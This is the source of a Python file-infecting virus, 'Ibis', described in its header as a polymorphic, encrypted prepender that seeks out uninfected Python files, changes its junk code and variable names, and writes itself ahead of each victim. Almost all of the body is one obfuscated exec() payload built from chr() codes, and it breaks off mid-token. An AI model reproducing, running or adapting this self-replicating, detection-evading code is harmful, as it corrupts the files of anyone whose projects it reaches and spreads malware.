Python.Ibis
Mike_Hood
# Name : Ibis
# Type : Polymorphic, encrypted prepender
# Author: Mike_Hood
# Description: Ibis works in a simple way: searches for uninfected python files in the
# current directory, decrypts its own code and replaces all the garbage
# instructions with a random number of instructions in random lines
# of the code, respecting indentation. It changes also the name of
# the variables with random names.
# At last Ibis encrypts itself with a simple ASCII encryption and writes
# its own code before its victim.
# Thanks to: WarGame and other people.
# Encrypted code #################################################
exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(115)+chr(121)+chr(115)+chr(44)+chr(32)+chr(103)+chr(108)+chr(111)+chr(98)+chr(10)+chr(102)+chr(114)+chr(111)+chr(109)+chr(32)+chr(111)+chr(115)+chr(32)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(114)+chr(101)+chr(109)+chr(111)+chr(118)+chr(101)+chr(10)+chr(102)+chr(114)+chr(111)+chr(109)+chr(32)+chr(115)+chr(116)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(42)+chr(10)+chr(102)+chr(114)+chr(111)+chr(109)+chr(32)+chr(114)+chr(101)+chr(32)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(42)+chr(10)+chr(102)+chr(114)+chr(111)+chr(109)+chr(32)+chr(114)+chr(97)+chr(110)+chr(100)+chr(111)+chr(109)+chr(32)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(42)+chr(10)+chr(100)+chr(101)+chr(102)+chr(32)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(105)+chr(111)+chr(110)+chr(40)+chr(41)+chr(58)+chr(10)+chr(9)+chr(109)+chr(121)+chr(115)+chr(111)+chr(117)+chr(108)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(115)+chr(121)+chr(115)+chr(46)+chr(97)+chr(114)+chr(103)+chr(118)+chr(91)+chr(48)+chr(93)+chr(44)+chr(34)+chr(114)+chr(98)+chr(34)+chr(41)+chr(10)+chr(9)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(61)+chr(109)+chr(121)+chr(115)+chr(111)+chr(117)+chr(108)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(108)+chr(105)+chr(110)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(109)+chr(121)+chr(115)+chr(111)+chr(117)+chr(108)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(61)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(91)+chr(102)+chr(105)+chr(110)+chr(100)+chr(40)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(44)+chr(34)+chr(101)+chr(118)+chr(97)+chr(108)+chr(40)+chr(34)+chr(41)+chr(43)+chr(54)+chr(58)+chr(93)+chr(10)+chr(9)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(61)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(91)+chr(58)+chr(102)+chr(105)+chr(110)+chr(100)+chr(40)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(44)+chr(34)+chr(41)+chr(41)+chr(34)+chr(41)+chr(43)+chr(49)+chr(93)+chr(10)+chr(9)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(61)+chr(115)+chr(112)+chr(108)+chr(105)+chr(116)+chr(40)+chr(34)+chr(92)+chr(43)+chr(34)+chr(44)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(44)+chr(48)+chr(41)+chr(10)+chr(9)+chr(84)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(119)+chr(34)+chr(41)+chr(10)+chr(9)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(48)+chr(44)+chr(108)+chr(101)+chr(110)+chr(40)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(41)+chr(44)+chr(49)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(84)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(119)+chr(114)+chr(105)+chr(116)+chr(101)+chr(40)+chr(99)+chr(104)+chr(114)+chr(40)+chr(111)+chr(114)+chr(100)+chr(40)+chr(101)+chr(118)+chr(97)+chr(108)+chr(40)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(91)+chr(105)+chr(93)+chr(41)+chr(41)+chr(41)+chr(41)+chr(10)+chr(9)+chr(84)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(100)+chr(101)+chr(102)+chr(32)+chr(69)+chr(110)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(105)+chr(111)+chr(110)+chr(40)+chr(41)+chr(58)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(114)+chr(98)+chr(34)+chr(41)+chr(10)+chr(9)+chr(97)+chr(115)+chr(100)+chr(102)+chr(103)+chr(61)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(98)+chr(104)+chr(110)+chr(106)+chr(109)+chr(61)+chr(91)+chr(48)+chr(93)+chr(10)+chr(9)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(48)+chr(44)+chr(108)+chr(101)+chr(110)+chr(40)+chr(97)+chr(115)+chr(100)+chr(102)+chr(103)+chr(41)+chr(45)+chr(49)+chr(44)+chr(49)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(98)+chr(104)+chr(110)+chr(106)+chr(109)+chr(91)+chr(108)+chr(101)+chr(110)+chr(40)+chr(98)+chr(104)+chr(110)+chr(106)+chr(109)+chr(41)+chr(58)+chr(93)+chr(61)+chr(91)+chr(48)+chr(93)+chr(10)+chr(9)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(48)+chr(44)+chr(108)+chr(101)+chr(110)+chr(40)+chr(97)+chr(115)+chr(100)+chr(102)+chr(103)+chr(41)+chr(44)+chr(49)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(98)+chr(104)+chr(110)+chr(106)+chr(109)+chr(91)+chr(105)+chr(93)+chr(61)+chr(34)+chr(99)+chr(104)+chr(114)+chr(40)+chr(34)+chr(43)+chr(115)+chr(116)+chr(114)+chr(40)+chr(111)+chr(114)+chr(100)+chr(40)+chr(97)+chr(115)+chr(100)+chr(102)+chr(103)+chr(91)+chr(105)+chr(93)+chr(41)+chr(41)+chr(43)+chr(34)+chr(41)+chr(43)+chr(34)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(119)+chr(34)+chr(41)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(119)+chr(114)+chr(105)+chr(116)+chr(101)+chr(40)+chr(34)+chr(101)+chr(120)+chr(101)+chr(99)+chr(40)+chr(34)+chr(41)+chr(10)+chr(9)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(48)+chr(44)+chr(108)+chr(101)+chr(110)+chr(40)+chr(98)+chr(104)+chr(110)+chr(106)+chr(109)+chr(41)+chr(44)+chr(49)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(105)+chr(102)+chr(32)+chr(105)+chr(61)+chr(61)+chr(108)+chr(101)+chr(110)+chr(40)+chr(98)+chr(104)+chr(110)+chr(106)+chr(109)+chr(41)+chr(45)+chr(49)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(61)+chr(115)+chr(116)+chr(114)+chr(40)+chr(98)+chr(104)+chr(110)+chr(106)+chr(109)+chr(91)+chr(105)+chr(93)+chr(41)+chr(10)+chr(9)+chr(9)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(119)+chr(114)+chr(105)+chr(116)+chr(101)+chr(40)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(91)+chr(58)+chr(108)+chr(101)+chr(110)+chr(40)+chr(99)+chr(118)+chr(98)+chr(110)+chr(109)+chr(41)+chr(45)+chr(49)+chr(93)+chr(41)+chr(10)+chr(9)+chr(9)+chr(101)+chr(108)+chr(115)+chr(101)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(119)+chr(114)+chr(105)+chr(116)+chr(101)+chr(40)+chr(115)+chr(116)+chr(114)+chr(40)+chr(98)+chr(104)+chr(110)+chr(106)+chr(109)+chr(91)+chr(105)+chr(93)+chr(41)+chr(41)+chr(9)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(119)+chr(114)+chr(105)+chr(116)+chr(101)+chr(40)+chr(34)+chr(41)+chr(34)+chr(41)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(114)+chr(98)+chr(34)+chr(41)+chr(10)+chr(9)+chr(97)+chr(115)+chr(100)+chr(102)+chr(103)+chr(61)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(97)+chr(115)+chr(100)+chr(102)+chr(103)+chr(61)+chr(115)+chr(117)+chr(98)+chr(40)+chr(34)+chr(92)+chr(43)+chr(99)+chr(104)+chr(114)+chr(92)+chr(40)+chr(49)+chr(51)+chr(92)+chr(41)+chr(34)+chr(44)+chr(34)+chr(34)+chr(44)+chr(97)+chr(115)+chr(100)+chr(102)+chr(103)+chr(41)+chr(10)+chr(9)+chr(114)+chr(101)+chr(109)+chr(111)+chr(118)+chr(101)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(41)+chr(10)+chr(9)+chr(72)+chr(111)+chr(115)+chr(116)+chr(120)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(72)+chr(111)+chr(115)+chr(116)+chr(102)+chr(105)+chr(108)+chr(101)+chr(115)+chr(44)+chr(34)+chr(119)+chr(98)+chr(34)+chr(41)+chr(9)+chr(10)+chr(9)+chr(72)+chr(101)+chr(108)+chr(108)+chr(111)+chr(61)+chr(97)+chr(115)+chr(100)+chr(102)+chr(103)+chr(43)+chr(34)+chr(92)+chr(110)+chr(35)+chr(73)+chr(66)+chr(73)+chr(83)+chr(92)+chr(110)+chr(34)+chr(43)+chr(72)+chr(67)+chr(111)+chr(100)+chr(101)+chr(9)+chr(10)+chr(9)+chr(72)+chr(111)+chr(115)+chr(116)+chr(120)+chr(46)+chr(119)+chr(114)+chr(105)+chr(116)+chr(101)+chr(40)+chr(72)+chr(101)+chr(108)+chr(108)+chr(111)+chr(41)+chr(10)+chr(9)+chr(72)+chr(111)+chr(115)+chr(116)+chr(120)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(100)+chr(101)+chr(102)+chr(32)+chr(78)+chr(101)+chr(119)+chr(86)+chr(97)+chr(114)+chr(105)+chr(97)+chr(98)+chr(108)+chr(101)+chr(40)+chr(41)+chr(58)+chr(10)+chr(9)+chr(78)+chr(101)+chr(119)+chr(86)+chr(121)+chr(32)+chr(61)+chr(32)+chr(99)+chr(104)+chr(114)+chr(40)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(57)+chr(55)+chr(44)+chr(49)+chr(50)+chr(50)+chr(41)+chr(41)+chr(43)+chr(99)+chr(104)+chr(114)+chr(40)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(57)+chr(55)+chr(44)+chr(49)+chr(50)+chr(50)+chr(41)+chr(41)+chr(43)+chr(99)+chr(104)+chr(114)+chr(40)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(57)+chr(55)+chr(44)+chr(49)+chr(50)+chr(50)+chr(41)+chr(41)+chr(43)+chr(99)+chr(104)+chr(114)+chr(40)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(57)+chr(55)+chr(44)+chr(49)+chr(50)+chr(50)+chr(41)+chr(41)+chr(43)+chr(99)+chr(104)+chr(114)+chr(40)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(57)+chr(55)+chr(44)+chr(49)+chr(50)+chr(50)+chr(41)+chr(41)+chr(43)+chr(99)+chr(104)+chr(114)+chr(40)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(57)+chr(55)+chr(44)+chr(49)+chr(50)+chr(50)+chr(41)+chr(41)+chr(43)+chr(99)+chr(104)+chr(114)+chr(40)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(57)+chr(55)+chr(44)+chr(49)+chr(50)+chr(50)+chr(41)+chr(41)+chr(43)+chr(99)+chr(104)+chr(114)+chr(40)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(57)+chr(55)+chr(44)+chr(49)+chr(50)+chr(50)+chr(41)+chr(41)+chr(10)+chr(9)+chr(105)+chr(102)+chr(32)+chr(102)+chr(105)+chr(110)+chr(100)+chr(40)+chr(68)+chr(101)+chr(99)+chr(114)+chr(121)+chr(112)+chr(116)+chr(101)+chr(100)+chr(67)+chr(111)+chr(100)+chr(101)+chr(44)+chr(78)+chr(101)+chr(119)+chr(86)+chr(121)+chr(41)+chr(33)+chr(61)+chr(45)+chr(49)+chr(58)+chr(10)+chr(9)+chr(9)+chr(78)+chr(101)+chr(119)+chr(86)+chr(97)+chr(114)+chr(105)+chr(97)+chr(98)+chr(108)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(101)+chr(108)+chr(115)+chr(101)+chr(58)+chr(10)+chr(9)+chr(9)+chr(114)+chr(101)+chr(116)+chr(117)+chr(114)+chr(110)+chr(32)+chr(78)+chr(101)+chr(119)+chr(86)+chr(121)+chr(10)+chr(100)+chr(101)+chr(102)+chr(32)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(67)+chr(108)+chr(101)+chr(97)+chr(110)+chr(101)+chr(114)+chr(40)+chr(41)+chr(58)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(114)+chr(98)+chr(34)+chr(41)+chr(10)+chr(9)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(61)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(61)+chr(115)+chr(112)+chr(108)+chr(105)+chr(116)+chr(40)+chr(34)+chr(92)+chr(110)+chr(34)+chr(44)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(44)+chr(48)+chr(41)+chr(10)+chr(9)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(48)+chr(44)+chr(108)+chr(101)+chr(110)+chr(40)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(41)+chr(44)+chr(49)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(105)+chr(102)+chr(32)+chr(102)+chr(105)+chr(110)+chr(100)+chr(40)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(91)+chr(105)+chr(93)+chr(44)+chr(83)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(91)+chr(48)+chr(93)+chr(41)+chr(33)+chr(61)+chr(45)+chr(49)+chr(32)+chr(111)+chr(114)+chr(32)+chr(102)+chr(105)+chr(110)+chr(100)+chr(40)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(91)+chr(105)+chr(93)+chr(44)+chr(83)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(91)+chr(49)+chr(93)+chr(41)+chr(33)+chr(61)+chr(45)+chr(49)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(91)+chr(105)+chr(93)+chr(61)+chr(34)+chr(42)+chr(34)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(119)+chr(98)+chr(34)+chr(41)+chr(10)+chr(9)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(48)+chr(44)+chr(108)+chr(101)+chr(110)+chr(40)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(41)+chr(44)+chr(49)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(105)+chr(102)+chr(32)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(91)+chr(105)+chr(93)+chr(33)+chr(61)+chr(34)+chr(42)+chr(34)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(119)+chr(114)+chr(105)+chr(116)+chr(101)+chr(40)+chr(67)+chr(111)+chr(100)+chr(101)+chr(87)+chr(105)+chr(116)+chr(104)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(91)+chr(105)+chr(93)+chr(43)+chr(34)+chr(92)+chr(110)+chr(34)+chr(41)+chr(10)+chr(9)+chr(68)+chr(70)+chr(71)+chr(72)+chr(74)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(100)+chr(101)+chr(102)+chr(32)+chr(78)+chr(101)+chr(119)+chr(84)+chr(114)+chr(97)+chr(115)+chr(104)+chr(40)+chr(41)+chr(58)+chr(10)+chr(9)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(48)+chr(44)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(49)+chr(44)+chr(50)+chr(48)+chr(41)+chr(44)+chr(49)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(115)+chr(111)+chr(117)+chr(114)+chr(99)+chr(101)+chr(61)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(84)+chr(101)+chr(109)+chr(112)+chr(70)+chr(105)+chr(108)+chr(101)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(44)+chr(34)+chr(114)+chr(98)+chr(34)+chr(41)+chr(10)+chr(9)+chr(9)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(61)+chr(115)+chr(111)+chr(117)+chr(114)+chr(99)+chr(101)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(10)+chr(9)+chr(9)+chr(115)+chr(111)+chr(117)+chr(114)+chr(99)+chr(101)+chr(46)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101)+chr(40)+chr(41)+chr(10)+chr(9)+chr(9)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(61)+chr(115)+chr(112)+chr(108)+chr(105)+chr(116)+chr(40)+chr(34)+chr(92)+chr(110)+chr(34)+chr(44)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(44)+chr(48)+chr(41)+chr(10)+chr(9)+chr(9)+chr(82)+chr(110)+chr(100)+chr(78)+chr(109)+chr(98)+chr(61)+chr(114)+chr(97)+chr(110)+chr(100)+chr(105)+chr(110)+chr(116)+chr(40)+chr(48)+chr(44)+chr(108)+chr(101)+chr(110)+chr(40)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(41)+chr(45)+chr(49)+chr(41)+chr(10)+chr(9)+chr(9)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(101)+chr(114)+chr(61)+chr(48)+chr(10)+chr(9)+chr(9)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(61)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(91)+chr(82)+chr(110)+chr(100)+chr(78)+chr(109)+chr(98)+chr(93)+chr(10)+chr(9)+chr(9)+chr(119)+chr(104)+chr(105)+chr(108)+chr(101)+chr(32)+chr(40)+chr(102)+chr(105)+chr(110)+chr(100)+chr(40)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(44)+chr(34)+chr(35)+chr(34)+chr(41)+chr(33)+chr(61)+chr(45)+chr(49)+chr(32)+chr(111)+chr(114)+chr(32)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(61)+chr(61)+chr(34)+chr(92)+chr(110)+chr(34)+chr(41)+chr(32)+chr(97)+chr(110)+chr(100)+chr(32)+chr(82)+chr(110)+chr(100)+chr(78)+chr(109)+chr(98)+chr(43)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(101)+chr(114)+chr(60)+chr(108)+chr(101)+chr(110)+chr(40)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(61)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(91)+chr(82)+chr(110)+chr(100)+chr(78)+chr(109)+chr(98)+chr(43)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(101)+chr(114)+chr(93)+chr(10)+chr(9)+chr(9)+chr(9)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(101)+chr(114)+chr(43)+chr(61)+chr(49)+chr(10)+chr(9)+chr(9)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(101)+chr(114)+chr(45)+chr(61)+chr(49)+chr(10)+chr(9)+chr(9)+chr(115)+chr(101)+chr(99)+chr(111)+chr(110)+chr(100)+chr(99)+chr(110)+chr(116)+chr(61)+chr(49)+chr(9)+chr(9)+chr(10)+chr(9)+chr(9)+chr(105)+chr(102)+chr(32)+chr(108)+chr(101)+chr(110)+chr(40)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(41)+chr(62)+chr(49)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(105)+chr(102)+chr(32)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(91)+chr(108)+chr(101)+chr(110)+chr(40)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(41)+chr(45)+chr(50)+chr(93)+chr(61)+chr(61)+chr(34)+chr(58)+chr(34)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(9)+chr(119)+chr(104)+chr(105)+chr(108)+chr(101)+chr(32)+chr(82)+chr(110)+chr(100)+chr(78)+chr(109)+chr(98)+chr(43)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(101)+chr(114)+chr(43)+chr(115)+chr(101)+chr(99)+chr(111)+chr(110)+chr(100)+chr(99)+chr(110)+chr(116)+chr(60)+chr(108)+chr(101)+chr(110)+chr(40)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(41)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(9)+chr(9)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(61)+chr(115)+chr(114)+chr(99)+chr(99)+chr(111)+chr(100)+chr(101)+chr(91)+chr(82)+chr(110)+chr(100)+chr(78)+chr(109)+chr(98)+chr(43)+chr(99)+chr(111)+chr(117)+chr(110)+chr(116)+chr(101)+chr(114)+chr(43)+chr(115)+chr(101)+chr(99)+chr(111)+chr(110)+chr(100)+chr(99)+chr(110)+chr(116)+chr(93)+chr(10)+chr(9)+chr(9)+chr(9)+chr(9)+chr(9)+chr(105)+chr(102)+chr(32)+chr(87)+chr(104)+chr(101)+chr(114)+chr(101)+chr(68)+chr(111)+chr(73)+chr(71)+chr(111)+chr(91)+chr(48)+chr(93)+chr(33)+chr(61)+chr(34)+chr(35)+chr(34)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(9)+chr(9)+chr(9)+chr(98)+chr(114)+chr(101)+chr(97)+chr(107)+chr(10)+chr(9)+chr(9)+chr(9)+chr(9)+chr(9)+chr(101)+chr(108)+chr(115)+chr(101)+chr(58)+chr(10)+chr(9)+chr(9)+chr(9)+chr(9)+chr(9)+chr(9)+chr(115)+chr(101)+chr(99)+chr(111)+chr(110)+chr(100)+chr(99)+chr(110)+chr(116)+chr(43)+chr(61)+chr(49)+chr(10)+chr(9)+chr(9)+chr(70)+chr(105)+ch